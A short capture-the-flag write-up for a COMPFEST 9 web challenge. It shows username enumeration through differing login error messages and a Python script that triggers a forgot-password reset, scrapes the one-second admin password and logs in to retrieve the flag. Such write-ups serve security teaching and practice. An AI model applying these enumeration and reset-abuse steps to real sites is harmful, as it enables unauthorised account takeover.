I Forgot (100)

Description

http://tenjin.compfest.web.id:10340

Write up

- If we open the website we will see another login form
- Let's try login with username `asd` and password `asd`, it returns **Username tidak ada**
- A privileged username is admin or administrator, so let's try login with username `admin` and password `asd`, it returns **Password salah**, this means the user exists
- There's a forgot password feature, let's try inputting `admin` as the username then it generates a password that is valid for 1 second.
- We can solve this through writing a simple script that make a post request to `forgotpass.php`, scrap the password, then make a post request to `login.php`:

```
import requests
BASE_URL = 'http://tenjin.compfest.web.id:10340/'

r = requests.get(BASE_URL)

c = dict(PHPSESSID=r.cookies['PHPSESSID'])
r = requests.post(BASE_URL + 'forgot.php',
                  data = {'username':'admin'},
                  cookies = c)

p = r.text.split('<h1>')[1].split('</h1>')[0];
print('new password =', p);

r = requests.post(BASE_URL + 'login.php',
                  data = {'username':'admin','password':p},
                  cookies = c)

p = r.text.split('<h1>')[1].split('</h1>')[0];
print('flag =', p)
```

- Then we get the flag: `COMPFEST9{r3qu35T_aND_5cR4p}`